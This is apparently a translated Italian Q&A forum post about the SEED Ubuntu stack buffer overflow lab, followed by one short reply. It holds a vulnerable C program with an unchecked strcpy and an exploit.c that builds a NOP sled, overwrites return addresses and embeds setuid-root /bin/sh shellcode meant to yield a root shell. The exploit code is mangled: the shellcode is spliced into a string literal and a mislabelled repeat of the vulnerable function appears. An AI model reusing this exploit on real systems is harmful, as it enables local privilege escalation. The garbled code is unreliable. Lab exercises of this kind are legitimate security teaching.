BufferOverflow attack Segment Fault

2

Sto cercando di sfruttare la vulnerabilità di overflow dello stack semplice. Ma ho problemi a scrivere il file exploit.c. Dopo aver ottenuto il puntatore dello stack usando __asm__("movl %esp, %eax") , ho inserito l'indirizzo e lo shellcode nel buffer.

Questo è il file stack.c:

int bof (char * str)

char buffer[24];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;

int main (int argc, char ** argv)

char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;

Di seguito è il mio attuale file exploit.c. Ho due VM con la stessa configurazione usando SEED Ubuntu. Eseguo lo stesso file su entrambe le macchine. Il primo mi dà shell normale, un altro restituisce "seg fault". Ma la shell di root è quello che voglio.

char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */ 
char *ptr = buffer;
long *addr_ptr, addr;
int offset = 0x80;
int i;

addr = get_sp_addr() + offset;
addr_ptr = (long*)(ptr);

//printf("addr: %x\n", addr);

for (i = 0; i < 10; i++) {
  *(addr_ptr++) = addr;
}

for (i = 0; i < strlen(shellcode); i++) {
  buffer[517 - (sizeof(shellcode) + 1) + i] = shellcode[i];  
} 

// Null terminate the shellcode 
buffer[sizeof(buffer)-1] = '
char shellcode[]=
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
"\x31\xc0"             /* xorl    %eax,%eax              */
"\x50"                 /* pushl   %eax                   */
"\x68""//sh"           /* pushl   $0x68732f2f            */
"\x68""/bin"           /* pushl   $0x6e69622f            */
"\x89\xe3"             /* movl    %esp,%ebx              */
"\x50"                 /* pushl   %eax                   */
"\x53"                 /* pushl   %ebx                   */
"\x89\xe1"             /* movl    %esp,%ecx              */
"\x99"                 /* cdq                            */
"\xb0\x0b"             /* movb    $0x0b,%al              */
"\xcd\x80"             /* int     $0x80                  */
;
'; // printf("%s\n", buffer); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile);

Lo shellcode definito nel file exploit.c è:

char buffer[24];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;
    
posta K.Doe.x 21.10.2018 - 13:07
fonte

1 risposta

0

L'ho capito. Reimposta la macchina e riscrivi il codice (trova invece l'indirizzo tramite gdb). Ora funziona. Grazie a tutti.

    
risposta data 24.10.2018 - 07:07
fonte

Leggi altre domande sui tag